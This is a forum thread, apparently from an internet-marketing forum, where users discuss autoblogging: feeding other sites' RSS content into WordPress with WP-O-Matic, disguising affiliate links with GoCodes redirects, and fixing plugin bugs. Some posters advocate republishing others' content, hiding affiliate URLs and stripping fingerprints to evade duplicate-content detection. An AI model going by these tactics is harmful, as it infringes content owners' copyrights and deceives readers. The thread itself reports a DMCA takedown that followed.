    IN the meantime, I have a new successful experiment to share. I know a lot of folks are only finding snippets of content, and are having problems with that conceptually.

    Well, it occurred to me that with the popularity of Twitter, that short snippets are not necessarily a problem. People are becoming used to the idea of "micro" content. The challenge here is to match up tiny content with a format that looks sensible.

    So use the Prologue theme (Which is meant to be an "internal" Twitter shared by a small team of users).

    And then the standard setup of WP-O-Matic, GoCodes, etc.

    However, you go through the trouble to create several user accounts in the WordPress install, and then when you set up your campaigns in WPOM, you can select an author per campaign. I've never used that feature before ever, but it works pretty great with this setup.

    What I've done in the experiment is set up a "user" for each of my content sources, so they are labeled as the author of their content to my "twitter" clone. (In fact, you can do this with any blog setup, and is a nice way to give even more credit to the source of the content.)

    Otherwise, the rest of the method remains the same.

    I'm really liking the results, and though I can't say for sure yet, this should work just as well as any other theme long term, it just helps put those snippets into a context people might feel is more solid conceptually.

    FOr my more lengthy writeup, I'm also trying out a lot of different plugins to try and recreate the desired functionality of GoCodes and WPOM so that people who have trouble with those particular ones have alternatives they can try.

    Oh, also, for the people who are having trouble with GoCodes after upgrading to 2.7, double check that the upgrade didn't overwrite your htaccess file and remove the portion you added to make GoCodes work. I can't say for sure that's it, but that's the first place I'd look.

    Anyways, back to the mines for me. I'll be back hopefully before the weekend to catch up. Take care, all!
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  • Profile picture of the author Tim Dixon
    Hi Keith.

    I've been toying with the 'Twitter type' microblogging idea as well, but not in relation to my autoblogging techniques, so interesting stuff to compare how you're doing it.

    As you mention, that idea about using different accounts for each campaign is actually something to consider for the more 'normal' (if there is such a thing) type of autoblogging, it all helps to add authenticity to things.

    I don't get the link building part of this method...can you really get to high PR rank just by auto-submitting to feed aggregator sites??
    This method is not just well known within the autoblogging world but is used by many people for all sorts of sites.

    Not all the RSS directory sites will help towards your PR as some use the nofollow attribute now, but it does work. I wouldn't go as far as to say you will get a 'high' PR though (although anything is possible in theory) and it will take time.

    Aside from the PR point of view it helps with indexing and can bring in traffic as well of course.

    Tim
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  • Profile picture of the author moonlasor
    Hello Keith,

    First, thank you for such a dead on article (series).

    I have just started to use a similar WP Pluggin to WP- O- Matic.

    How many posts do you start off with initially? How many new posts a day do you use, generally? And at what time intervals?

    Why do you need to use an affiliate link redirect?

    I read your "Your blog domain is getting the benefit of all this backlink love so you will start to grow PR over time too. (This is yet another reason we're using GoCodes. All the backlinks you're generating link back to your own domain, giving YOU the PR benefit." I am not 100% what you mean here.

    If you bundle or send out your RSS feeds to various aggregates, wouldn't they automatically come back to you?

    "Once the blogs get PR, sell text links
    - you can get a sponsor donate plugin to make this automatic."

    Please explain this briefly if you can.

    Again Keith, I personally thank you for a wonderful and honest article/method.

    David
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    • Profile picture of the author djleon1
      Here is another plug-in which may work for people having trouble with Gocodes.

      It is WordPress › WP-Marketer WordPress Plugins it seems to accomplish what gocodes is set-up to do but is a bit newer and geared towards 2.7

      I am not sure if it keeps the links one you send out your posts to different feeds.
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      • Profile picture of the author 4morereferrals
        Originally Posted by djleon1 View Post

        Here is another plug-in which may work for people having trouble with Gocodes.

        It is WordPress › WP-Marketer WordPress Plugins it seems to accomplish what gocodes is set-up to do but is a bit newer and geared towards 2.7

        I am not sure if it keeps the links one you send out your posts to different feeds.
        I was looking at this PI [plug in] last night late as well. Looks promising. Looks like it does 2 functions ... affiliate link adding and gocodes?
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  • Profile picture of the author ojean
    Hi Keith,
    Thank for sharing. You have provided very useful information on automated niche blog business model using WP-O-Matic. I have justed started my own blogging using Blog Solution, a mass blog platform using automated updates and ping. Just wonder have you ever used this software before and how it is as compared to WP-O-Matic?
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    • Profile picture of the author vicone
      Ojean,

      I'd suggest doing a little more research on this mass blogging approach. I know of many marketers who tried this - especially with Adsense - and their sites were promptly dropped by the search engines when detected. PPC traffic providers may resist sending traffic and Adsense may pay you peanuts per click.

      Consider how the site is to be used and whether useful information is being provided to visitors.

      A special difficulty with mass-producing blogs is that, as each blog fails, you're obliged to create a new one to make up for it. This means a never-ending cycle of crash-burn-rebirth. Unless you're a Phoenix, I'd suggest approaching your blog-building activities in a way that has a cumulative benefit and, over time, means that you are building an asset.

      Many find the crash-burn-rebirth approach to be tiresome, boring and frustrating, although they may succeed in earning short term profits.

      There are many good mentors that will point you in the direction of long-term sustainable profits.

      Incidentally, I love the idea of automating as much as possible; my caution is against thin, inadequate content.

      Ivan
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      • Profile picture of the author ojean
        Originally Posted by vicone View Post

        Ojean,

        I'd suggest doing a little more research on this mass blogging approach. I know of many marketers who tried this - especially with Adsense - and their sites were promptly dropped by the search engines when detected. PPC traffic providers may resist sending traffic and Adsense may pay you peanuts per click.

        Consider how the site is to be used and whether useful information is being provided to visitors.

        A special difficulty with mass-producing blogs is that, as each blog fails, you're obliged to create a new one to make up for it. This means a never-ending cycle of crash-burn-rebirth. Unless you're a Phoenix, I'd suggest approaching your blog-building activities in a way that has a cumulative benefit and, over time, means that you are building an asset.

        Many find the crash-burn-rebirth approach to be tiresome, boring and frustrating, although they may succeed in earning short term profits.

        There are many good mentors that will point you in the direction of long-term sustainable profits.

        Incidentally, I love the idea of automating as much as possible; my caution is against thin, inadequate content.

        Ivan
        Thanks for your kind advice, Ivan. Although blog solution is a mass blogging software, I only release one blog per week and moderate the automated updates and ping. Hope that this won't cause any problems then...
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  • Profile picture of the author kevinw1
    Here's a small gotcha with Gocodes I just discovered - it doesn't work if you have hyphens in the gocode links.

    For example,
    http://www.example.com/go/test
    works, but
    http://www.example.com/go/test-two
    doesn't, you get a 404 error.

    Having solved that, now to work out why WPOM is giving me anything up to 25 duplicates of the same post!

    Kevin
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    • Profile picture of the author Tim Dixon
      Originally Posted by kevinw1 View Post


      Having solved that, now to work out why WPOM is giving me anything up to 25 duplicates of the same post!

      Kevin
      Here's a thread from the WPOM issue tracker site discussing duplicate posts.
      #148 Problem with Multiple Same Posts - WP-o-Matic - wpomatic

      Tim
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    • Profile picture of the author Chris Lagarde
      Here's an example of using GoCodes and what to watch out for. Let's say my website is promoting acne solutions clickbank products.

      With WPOM you could hyperlink the word "acne" as rss feed stories are pulled in. The hyperlink will be with your affiliate clickbank id.
      for example:
      http://bettylife.nichegroupllc.hop.clickbank.net/

      You don't want this because people will avoid clicking on the hyperlink. Instead you have WPOM hyperlink a friendly GoCode redirect URL.

      Note: the landing page ends up being the same (see above) BUT by first making your affiliate link into a GoCode, the hyperlink that shows when readers hover their mouse will look like:

      http://YOURBLOGNAME123.com/go/acne

      A much better looking hyperlink URL!

      In the above GoCode example the word "acne" is what GoCode refers to as the "redirection key". When you are in the GoCode setup, you will the blank area where you are requested to fill in the redirection key.

      GoCode Redirection Key Tips:
      NO spaces, NO hyphens, NO underscores

      Example of what DOES NOT work:
      http://YOURBLOGNAME123.com/go/acne-solutions
      http://YOURBLOGNAME123.COM/go/acne_solutions
      http://YOURBLOGNAME123.com/go/acne solutions

      Example of WHAT DOES WORK:
      http://YOURBLOGNAME123.com/go/acne
      http://YOURBLOGNAME123.com/go/acnesolutions

      Lastly, while doing research on GoCodes I found out you can change the /go/ in your GoCodes to other words like /recommends/

      See below:
      ------------------------------------------
      Additional tips, you can change the go word into something you like, example instead of pointing to "mydomain/go/key" you can make it to "mydomain/recommend/key", simply by tune the .htaccess file a little bit.


      Check this part from your .htaccess file.
      RewriteEngine On
      RewriteRule ^go/([A-Za-z0-9]+)/?$ /index.php?gocode=$1 [L,R]`
      Change the ^go to ^recommend, save and reupload your .htaccess. Voila, it's done

      If you find any problem whatsoever with the plugin, you can contact Matt the gocodes creator. As he put concern on his free product. I face some problem two days ago, and it's fixed already by now.
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  • Profile picture of the author Alaister
    Hi Just wondering with this strategy wp-o-matic doesnt actually write a proper post for you does it?

    it only automates a very short one line or two line post. I understand you want to replace the keywords with your affiliate links but you are not really providing people any good content so why would they come to your site?

    This could be a totally newbie question but yeh if you could clarify on that, i would greatly appreciate it.

    Thanks
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    • Profile picture of the author 4morereferrals
      Originally Posted by Alaister View Post

      Hi Just wondering with this strategy wp-o-matic doesnt actually write a proper post for you does it?

      it only automates a very short one line or two line post. I understand you want to replace the keywords with your affiliate links but you are not really providing people any good content so why would they come to your site?

      This could be a totally newbie question but yeh if you could clarify on that, i would greatly appreciate it.

      Thanks
      It totally depends on your feed source - if all the rss feed is sending is the link back to the originating blog - then yes - all you get from WPOM is a title and excerpt.

      However; I dont use those feeds. I get feeds with full articles, and I select them manually in multiples, via Tim Dixon's Google Reader aggregator method. I also annotate them with my thoughts on how they apply to the niche - and all that gets posted. Semi Auto mode

      Keiths is FULL AUTO and for certain sites that's bangin' and will do the deal.
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      • Profile picture of the author Alaister
        Originally Posted by 4morereferrals View Post

        It totally depends on your feed source - if all the rss feed is sending is the link back to the originating blog - then yes - all you get from WPOM is a title and excerpt.

        However; I dont use those feeds. I get feeds with full articles, and I select them manually in multiples, via Tim Dixon's Google Reader aggregator method. I also annotate them with my thoughts on how they apply to the niche - and all that gets posted. Semi Auto mode

        Keiths is FULL AUTO and for certain sites that's bangin' and will do the deal.
        ok great. thanks a lot for clarifying things.

        ill check out the google reader method
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  • Profile picture of the author kevinw1
    Thanks Tim, I've plugged in that fix and I'll see how it goes. The problem doesn't seem to happen if I do a manual fetch (which would agree with the cause discussed in that thread, of multiple cron jobs).
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  • Profile picture of the author John W.G.
    after I activate wp-o-matic I see a link in the upper right corner of my screen that says, "click here to setup and configure wp-o-matic" but when I click it I get taken to a page that says, "Please switch to Firefox / Safari"

    I'm using firefox.

    Anyone else having this problem?

    John
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    • Profile picture of the author Tim Dixon
      Originally Posted by John Gottshall View Post

      after I activate wp-o-matic I see a link in the upper right corner of my screen that says, "click here to setup and configure wp-o-matic" but when I click it I get taken to a page that says, "Please switch to Firefox / Safari"

      I'm using firefox.

      Anyone else having this problem?

      John
      Hi John.

      I have had that before and found I had to refresh my browser cache I think to get past it.

      Tim
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      • Profile picture of the author John W.G.
        Originally Posted by Tim Dixon View Post

        Hi John.

        I have had that before and found I had to refresh my browser cache I think to get past it.

        Tim
        Thank you Tim - solved thanks to you.

        Have a wonderful day.
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    • Profile picture of the author chamilj
      Originally Posted by Steve Porcaro View Post

      Hi I still see some question on the Go-codes and WPOM. I made a video earlier in this thread.

      I put it in my signature for easier reference.
      Thanks Steve, Your video really useful.
      Chamil
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    • Profile picture of the author Alaister
      I was wondering...if you were to automate your blog with the rss feeds wouldn't you be up for duplicate content?

      Also as you know a lot of RSS feeds are only an extract perhaps 1 or 2 lines or the actual article. How are you generating traffic if your articles are so short and cannot be relaly littered with keywords?

      Am I missing something here??

      Thanks,
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  • Profile picture of the author Dave Earley
    I forgot one thing:

    Lets say that I use several different keywords that make up several different categories with WPOM. Will the posts be categorized automatically, or will I need to take care of that manually?

    Dave
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    • Profile picture of the author Tim Dixon
      Originally Posted by Dave Earley View Post

      I forgot one thing:

      Lets say that I use several different keywords that make up several different categories with WPOM. Will the posts be categorized automatically, or will I need to take care of that manually?

      Dave
      Dave, you choose what categories the posts for each campaign go into when you set up that campaign.

      Also, regarding the Regex function, I personally don't use it as I the only thing I ever do is change link a particular word or phrase in the content that I add to the feed item through Google Reader.

      However, theoretically you could of course use this to change content to make it more unique, but I could see it being a real pain to set up and maintain.

      Tim
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  • Profile picture of the author neoo28
    Hi, this model is very interesting. I just have a question about legality . Is it legal to put your own affiliate link in to content which is not yours. It said that you can use RSS feed on your blog without changing it .
    I want to make blog like this but scared of legal issues .
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    • Profile picture of the author 4morereferrals
      Originally Posted by STOREHEALTHBEAUTY View Post

      Hi, this model is very interesting. I just have a question about legality . Is it legal to put your own affiliate link in to content which is not yours. It said that you can use RSS feed on your blog without changing it .
      I want to make blog like this but scared of legal issues .
      I think you need to see tim Dixon's posts #1 and #2 for a solution to that. Add your own anecdotes and put links in there, if ya skeered. :-)
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  • Profile picture of the author chamilj
    I am getting same post two / three times when WP -O -Matic fetches RSS feed. How I avoid it please help.
    Chamil.
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    • Profile picture of the author Tim Dixon
      Originally Posted by chamilj View Post

      I am getting same post two / three times when WP -O -Matic fetches RSS feed. How I avoid it please help.
      Chamil.
      Chamil.

      This has been asked before, check out my reply #531 for a link to some solutions to it.

      Tim
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  • Profile picture of the author chamilj
    Thanks Tim.
    Chamil
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  • Profile picture of the author Wealth Mentor
    Keith, what will you charge to set these up for us in our own niches??

    You can PM me...
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    • Profile picture of the author Wealth Mentor
      Originally Posted by Wealth Mentor View Post

      Keith, what will you charge to set these up for us in our own niches??

      You can PM me...
      S E C O N D R E Q U E S T: Keith, what will you charge to set these up for us in our own niches??

      You can PM me...
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  • Profile picture of the author fight_prof
    good stuff thanks.
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  • Profile picture of the author Dave Earley
    Two things I am noticing now:

    On my blog my main page is made up of partial posts, and the title links it to the whole post on a separate page. If I check the link to source box in WPOM, then once I click on the title to get to the whole post, I am instead taken to the original post, so there is no way that anyone can view the whole post on my site. Is there a way to correct this, without having to manually add the source in the post?

    Also, I am noticing an awful lot of links within these posts. Is there a way to keep all links from showing up?

    I am also having a problem with the images, but I believe my redirect links are crossing them up some how in the coding. I will see if I can correct that one now...


    Update: Haven't figured out how to get the images working, apart from not using any redirects. It seems that if one of my redirect keywords in contained within the image code, it breaks up the code for the image and will not show up.

    I am also having trouble finding full RSS feeds. I've searched through hundreds of feeds, and very few feeds contain a full post.

    At this rate is seems easier to go around and copy information and add the source to it, but if I'm going to do that I would rather change up the content and get some unique information out of it.


    Dave
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    • Profile picture of the author Tim Dixon
      Originally Posted by Dave Earley View Post

      Two things I am noticing now:

      On my blog my main page is made up of partial posts, and the title links it to the whole post on a separate page. If I check the link to source box in WPOM, then once I click on the title to get to the whole post, I am instead taken to the original post, so there is no way that anyone can view the whole post on my site. Is there a way to correct this, without having to manually add the source in the post?
      You need to use a custom post template on the options screen of that campaign when linking the title to the whole post on your blog.

      Put something like:
      Code:
      {content}
      Source of this article: <a href="{permalink}">{title}</a>
      in the template to do it all automatically.

      Also, I am noticing an awful lot of links within these posts. Is there a way to keep all links from showing up?
      Not really, unless you get WPOM to post it as a draft and then you edit the post before you publish it. Of course you could run the feed through Yahoo!Pipes first to remove the hyperlinks if you were really desperate. However, I prefer to leave them as they are.
      You can also edit them within Google Reader by the way, in case you didn't know.

      I am also having a problem with the images, but I believe my redirect links are crossing them up some how in the coding. I will see if I can correct that one now...


      Update: Haven't figured out how to get the images working, apart from not using any redirects. It seems that if one of my redirect keywords in contained within the image code, it breaks up the code for the image and will not show up.
      In my model I do not use the replace function in this way as it can cause some messing up of the posts. The way I do it is in Part 2 of the Google Reader thread I think.

      I am also having trouble finding full RSS feeds. I've searched through hundreds of feeds, and very few feeds contain a full post.

      At this rate is seems easier to go around and copy information and add the source to it, but if I'm going to do that I would rather change up the content and get some unique information out of it.
      If you use the Google Reader method you can make this task a lot easier, but as for finding full feeds, it can be difficult sometimes.

      You just have to keep looking really. Also don't forget that even if a feed is full now, the originator could change that at any time and if you aren't keeping track, you would never know.


      Tim
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  • Profile picture of the author Dave Earley
    Thanks Tim.

    I'll try the code, and probably will have to set WPOM to make the posts drafts, so that I can take care of any links or code problems.

    I'll also check out your posts about google reader...

    Dave
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  • Profile picture of the author sunnyman
    Dave Earley ---

    If I were you, I would check what's going on at your site....
    seems to be hacked.........
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    • Profile picture of the author Dave Earley
      Originally Posted by sunnyman View Post

      Dave Earley ---

      If I were you, I would check what's going on at your site....
      seems to be hacked.........

      Thanks, I know.

      I haven't used that site in a while, and it doesn't get much traffic anyway. I need to move it to a new server, but am not concerned with it that much at the moment.


      In other news, I seem to be getting a 500 internal server error when I do a manual fetch of the RSS feeds at times. I wonder what would be causing it?

      Dave
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  • Profile picture of the author Dayne Dylan
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    I'm getting the Internal Server error now as well. I think it has to do with Cron jobs.
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  • Profile picture of the author GrinningFool
    Thanks Tim for the informative replies. Its much appreciated!
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  • Profile picture of the author BigSexy
    Am I the only one who have his pages not indexed in Google? If I've understood correctly, Keith method just uses the RRS Feed without changing anything (unlike Tim Dixon's method).

    Well, I'm doing the same thing but Google just refuses to index the pages, obviously for the duplicated content.
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    • Profile picture of the author BigSexy
      Originally Posted by Jeff Hope View Post

      How long has your site been online? Have you submitted your RSS feed, or the site itself, to any directories, or done anything else to let Google's spiders know your site is active? Hopefully you don't have a robots.txt or HTML meta tags accidentally blocking spiders or anything...

      I have a new auto-blog that I put online Jan. 3rd, in a large niche. My "pages" are some free-to-use articles. However, my "posts" are nothing but automated RSS news items (not using Google Reader method). As of today, this site has 286 pages indexed in Google, and is getting visitors from organic searches. I did nothing more than submit its RSS feed using RSSBot. First indexing appeared last Thursday I believe, which was Jan. 8th (5 days after initial site build).

      In fairness though, I've been auto-blogging for several years, and I am running the RSS items through my own software, which strips out some fingerprints. I'm also using my own software to post the items directly into the Wordpress database, rather than rely on a plugin. So the items get "shuffled" before posting, and are posted over time, rather than all at once.

      Still though, at least a few pages of your site should be indexed within a week or so of creating the site. You might try submitting the RSS feed manually to a few directories to see if that will get things going.
      Thanx for your kind reply.

      The funny thing about my situation is that in this blog I had 5 unique articles regularly indexed by Google before changing it to automatic, and now I have just 2 pages indexed (on 30 I submitted via sitemap)...is Google penalizing me for the duplicated content? :confused:
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      • Profile picture of the author PeterGF
        Forgive me if I missed reference to this on this thread, but I have been reading on another forum that there is a potential risk when creating muliple autoblogs on the same hosting account for the domains to be sanboxed!?

        Does anyone have any knowledge or experience of this?

        Thanks.

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        • Profile picture of the author 4morereferrals
          Sandboxed? Whats that?

          Originally Posted by PeterGF View Post

          Forgive me if I missed reference to this on this thread, but I have been reading on another forum that there is a potential risk when creating muliple autoblogs on the same hosting account for the domains to be sanboxed!?

          Does anyone have any knowledge or experience of this?

          Thanks.

          Peter
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          • Profile picture of the author PeterGF
            Basically Steve - your site disappears from Google's listings!
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          • Profile picture of the author Tim Dixon
            Originally Posted by 4morereferrals View Post

            Sandboxed? Whats that?
            It's was originally a term that was usually used to refer to what happens sometimes to a new site in the Google SERPs.

            Quite often you will see a new site do well to start off with and then it seems to drop back down the ranks for a while.

            Most explanations for this that I've come across seem to be that this is what happens whilst the Google engines are working out where the site should be ranked and so 'sandbox' it for a while.

            The best way to a) try and avoid this as much as possible in the first place and b) get out of it if you think you're in it is to just carry on doing what you would normally do - i.e. add content and build links.

            Not sure whether having a blog farm all on the same IP which sets off some red flags at Google should be termed 'sandboxed', but then it seem to be used for many things these days.

            Tim
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    Powerful information will have to look into this, thanks...
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  • Profile picture of the author kevinw1
    For those having trouble with multiple copies of the same post appearing (I was getting anything up to 25 at once - what a pain!), if you follow the link Tim Dixon gives above, there are two chunks of code in that thread, one to hack posts.php and one to add to wpomatic.php. I found that I needed to use both to fix the problem.

    Kevin
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  • Profile picture of the author Mrs S
    Take care with this method guys - I've just had my site shut down following a legal request to my hosting company quoting:

    This Web site is systematically infringing copyrighted work owned by
    XXXX by publishing our entire full-text RSS feed.

    Now I've lost access to the unique content that I had built up before I tried this method and only hope my host will remove the block they have put on my domain.
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    • Profile picture of the author Carl Pruitt
      Originally Posted by Mrs S View Post

      Take care with this method guys - I've just had my site shut down following a legal request to my hosting company quoting:

      This Web site is systematically infringing copyrighted work owned by
      XXXX by publishing our entire full-text RSS feed.

      Now I've lost access to the unique content that I had built up before I tried this method and only hope my host will remove the block they have put on my domain.
      I see 2 lessons there. First, when using a semi-gray hat method like this you should not do it on a domain you can't afford to have shut down. Second, always keep a backup of your own original content to make it easy to reproduce.

      In this case, you might want to see if there are cached versions of your older original content so that you have a chance to rescue it.
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    • Profile picture of the author 4morereferrals
      Originally Posted by Mrs S View Post

      Take care with this method guys - I've just had my site shut down following a legal request to my hosting company quoting:

      This Web site is systematically infringing copyrighted work owned by
      XXXX by publishing our entire full-text RSS feed.

      Now I've lost access to the unique content that I had built up before I tried this method and only hope my host will remove the block they have put on my domain.
      Ohhh SNAP ... is that a DCMA "slap" or whatever its called?

      This is something I have a concern about as well.

      Where you giving full links BACK to their blog and credit for the content?

      Where you annotating your own comments at all?

      What exactly where you doing ?

      Keith - any comments?
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      • Profile picture of the author 4morereferrals
        Second, always keep a backup of your own original content to make it easy to reproduce.
        Blog newb DAQ,

        Best way to do that?
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      • Profile picture of the author Tim Dixon
        Originally Posted by 4morereferrals View Post

        Ohhh SNAP ... is that a DCMA "slap" or whatever its called?

        This is something I have a concern about as well.

        Where you giving full links BACK to their blog and credit for the content?

        Where you annotating your own comments at all?

        What exactly where you doing ?

        Keith - any comments?
        Ok, I think we need to understand exactly what went wrong here and learn from it. So as Steve has asked, what exactly were you doing?

        If for instance you were just publishing someones entire full text feed without their permission, then you do run the possibility of the originators taking action.

        Did they contact you first to ask you to remove the content? did you have a means of contacting you on that website?

        I've not had any problems with the way I use these systems, but then again I don't use full text feeds.

        Please let us all know.

        Re. backups - the following plugin is great for setting up automatic backups of the WordPress core tables and having the file emailed to you (or saved on the server).
        http://wordpress.org/extend/plugins/wp-db-backup/

        Tim
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        • Profile picture of the author 4morereferrals
          but then again I don't use full text feeds.
          I think I am, and guess I need to stop pronto!

          Tim - if I may ask .. since you so graciaously helped us get rockin on this ... what do you do? Excerpts with a lead back to their site?

          How do you steer clear using this system?

          I suspect the above poster got whacked using with the software that spiders for EXACT dupe content? Or perhaps her blog was snaking another affiliates links, posts, sales?

          Mrs S ????
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          • Profile picture of the author 4morereferrals
            Thanks Tim ....

            Excellent plug in referral. Done!
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            • Profile picture of the author Alminc
              Where is Keith?

              Keith, this is your thread, come here and say hello

              He must be busy writing his ebook...
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          • Profile picture of the author Tim Dixon
            Originally Posted by 4morereferrals View Post

            I think I am, and guess I need to stop pronto!

            Tim - if I may ask .. since you so graciaously helped us get rockin on this ... what do you do? Excerpts with a lead back to their site?

            How do you steer clear using this system?

            I suspect the above poster got whacked using with the software that spiders for EXACT dupe content? Or perhaps her blog was snaking another affiliates links, posts, sales?

            Mrs S ????
            As you all may know, I base my system around using Google Reader to filter what I am posting to my blogs and I mix in some original content, articles from article directories, and also annotate news items to add some value.

            I always provide a link back to the original source and because most of the news items are snippets, then that is what gets posted, usually with a personal note attached.

            So my sites will be a mix of all sorts and not from one source.

            I also make sure I provide a contact email on my site and specifically mention that if a content originator wants me to remove their content from my site then they should contact me at that email address. I think I've only been asked a couple of times if I remember correctly (and of course I removed their content straight away).

            That's obviously different to the way Keith has laid it out in this thread, so it would be nice to hear from him. I know there was some discussion about using full text feeds back earlier in the thread so maybe worth having another read through to find his take on it.

            Tim
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    • Profile picture of the author MizzCindy
      Originally Posted by Mrs S View Post

      Take care with this method guys - I've just had my site shut down following a legal request to my hosting company quoting:

      This Web site is systematically infringing copyrighted work owned by
      XXXX by publishing our entire full-text RSS feed.

      Now I've lost access to the unique content that I had built up before I tried this method and only hope my host will remove the block they have put on my domain.
      Ouch! Sorry to hear that!

      As others have mentioned, do you have a backup copy available? If not, definitely search to see if you can find a cached copy of your blog so you can recover your original posts.

      Just curious, what did the TOS/TAC say about using the feed? Was there language prohibiting republishing the feed?

      Note to all: This is a big detail that may have gotten lost in the shuffle: READ THE TOS/TAC of your source feeds! Know what you're getting yourselves into in terms of using others' feeds. If it's prohibited, I wouldn't chance it, unless you don't mind losing your blog over it.

      Cindy

      P.S. I've had good luck with WordPress › WP-DB-Backup WordPress Plugins (free wordpress plugin).
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  • Profile picture of the author jhiggins
    Is anyone here making a full time living solely off implementing this method? I'd like to see something tested with case studies and results.

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  • Profile picture of the author jhiggins
    Yeah! This seems a little risky. I'll stick with building mini sites. It's been working.

    Jonathan
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    • Profile picture of the author MizzCindy
      Originally Posted by nettie View Post

      Thanks for the info.
      I gotta share this with you though:
      I have finally found the place to make the BIG BUCKS(I'm not saying you haven't, I'm just sharing my BIG blessing with any beginners out there who want 'in')Check out my signiture and you'll see what I mean.
      Nettie - I believe it's already been brought to your attention, so please stop spamming the forum with references to your sig line.

      There's so much to gain from being here. Don't blow it!

      Thanks!
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  • Profile picture of the author Mrs S
    Sorry to leave you hanging guys - it was a DMCA complaint and the good news is I removed the content referred to and my host put my site back online so all is not lost.

    I found the feed via google blog search - but now I've gone back and done some digging the site itself does say you cannot use the RSS feed in the way we are. So learn from my mistake and read the TOS properly!
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    • Profile picture of the author Tim Dixon
      Originally Posted by Mrs S View Post

      Sorry to leave you hanging guys - it was a DMCA complaint and the good news is I removed the content referred to and my host put my site back online so all is not lost.

      I found the feed via google blog search - but now I've gone back and done some digging the site itself does say you cannot use the RSS feed in the way we are. So learn from my mistake and read the TOS properly!
      Great to hear Mrs S.

      As MizzCindy and you have pointed out, it pays to read the ToS if you can find any especially for full text feeds.

      Tim
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  • Profile picture of the author eXtreme Success
    HI Keith

    I just read about your auto blogging method on WF and found it very interesting. Thanks for sharing.

    I have tried to share information several times on this forum and was met with the same kind of attitude and attacks for not sharing every single details. So I just stopped posting all together. The last time, I tried to share how I sold 700 $97 products in December and all I got were insults, attacks, and accusing me of trying to sell "the details" ( which I was not).

    Keep up the good work!

    Jackie
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      What does DMCA stand for ?
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  • Profile picture of the author Dave Earley
    Is anyone else getting the internal server error?

    Every time WPOM fetches, I seem to get the error, and my cpanel also shows more running processes than I am allowed.

    I actually have to delete the plugin because the fetching will not complete.

    Get this...after I delete the plugin and re-install, the fetching actually tries to continue and the site goes back down. That is messed up.
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    • Profile picture of the author Tim Dixon
      Originally Posted by Dave Earley View Post

      Is anyone else getting the internal server error?

      Every time WPOM fetches, I seem to get the error, and my cpanel also shows more running processes than I am allowed.

      I actually have to delete the plugin because the fetching will not complete.

      Get this...after I delete the plugin and re-install, the fetching actually tries to continue and the site goes back down. That is messed up.
      Hi Dave.

      I have found that if I have the 'perform pingbacks' option selected on the campaign options tab I get this sort of behaviour, so I recommend to my subscribers not to use that.

      As for uninstalling, WPOM actually creates some tables in your Wordpress database and if you de-activate it and remove the directory, it does not remove those tables.

      That's why when you re-install/re-activate, it seems to pick up where it left off.

      Tim
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  • Profile picture of the author habbydhillon
    Hi Keith,

    Thanks very much for a great post. I have learned some things and you have inspired me to take action !

    habby dhillon
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  • Profile picture of the author digimix
    Thanks for posting this. I may finally make some money with this I hope. It has been an uphill battle for me to make money online thus far.
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  • Profile picture of the author adbuzz
    Could I pay you to set something like this up for me? Or to guide me step-by-step through the process?
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  • Profile picture of the author Keith Kogane
    Hi all.

    Sorry for the lack of updates. I've been busy with my sites. I've recently sold a couple, and made a few more using the twitter method I posted above. Those are working REALLY well.

    As for the guy who got the DMCA notice, you clearly didn't follow the directions, nor did you take my advice or follow my method. I use snippets, not full content.

    If you want to modify the method for your own purposes, that's fine, but don't cry about it and ask me about it like it's a "gotcha" and you've exposed some flaw in my method. I never told you to use full content feeds, and I said you should check TOCs and get permission and all that.

    So don't blame me.

    As for other folks asking questions, it looks like other helpful folks like Tim (especially Tim) have chimed in, or the answers have been posted before.

    By this point, 12 pages in, it's likely that ANY question you have has been answered here already, so PLEASE, before you ask and treat this forum like your personal answer robot, use the navigation and the search and have a look.

    Thanks everyone for keeping this thread alive.

    I'll be surfacing again soon with some more goodies.

    Later!

    P.S. If you sent me a PM, I should be getting back to you very shortly.
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  • Profile picture of the author allenjohn
    Great thread. Well done all. Thanks, Allen
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  • Profile picture of the author HelenX
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    Thank you for your great post!
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    • Profile picture of the author joecool1972
      How have I missed this thread before? Great stuff, thanks a lot for starting it Keith.
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  • Profile picture of the author FranMurray
    Thanks Keith,

    I am complete newbie to online marketing. I plan to use your "automated system" and I am prepared to do all the research to get it running. Thank for the ideas.

    Francis
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  • Profile picture of the author Bujuk
    Thank you very much to Keith and all who contributed to this very informative discussion.

    I think the key point here is to concentrate on a certain niche. meaning our site need to concentrate and revolve on a niche. keith did mention this earlier. however finding the right feeds is not that easy. we need to go through all the feeds. most feeds are too general. we need to find a way to filter the feeds.

    while searching for the feeds i come across this interesting site. "6 Ways to Filter Your RSS Feeds" I've not tested all the method, but i do believe we can gain something from the methods.

    I'll share my finding later. thanks
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  • Profile picture of the author GeorgR.
    nothing speaks against making as many sites as you like, various niches. That's what i do.

    With autoblogging, a single site MIGHT not make you "millions", and for sure not with adsense. But since it takes not more than 25mins to make a really good looking Ablog, i just make more and more.

    The blogs in questions usually revolve around some subject, eg. "fitness", "diets", "remedies", "sports"...etc..etc... so there's a general theme.
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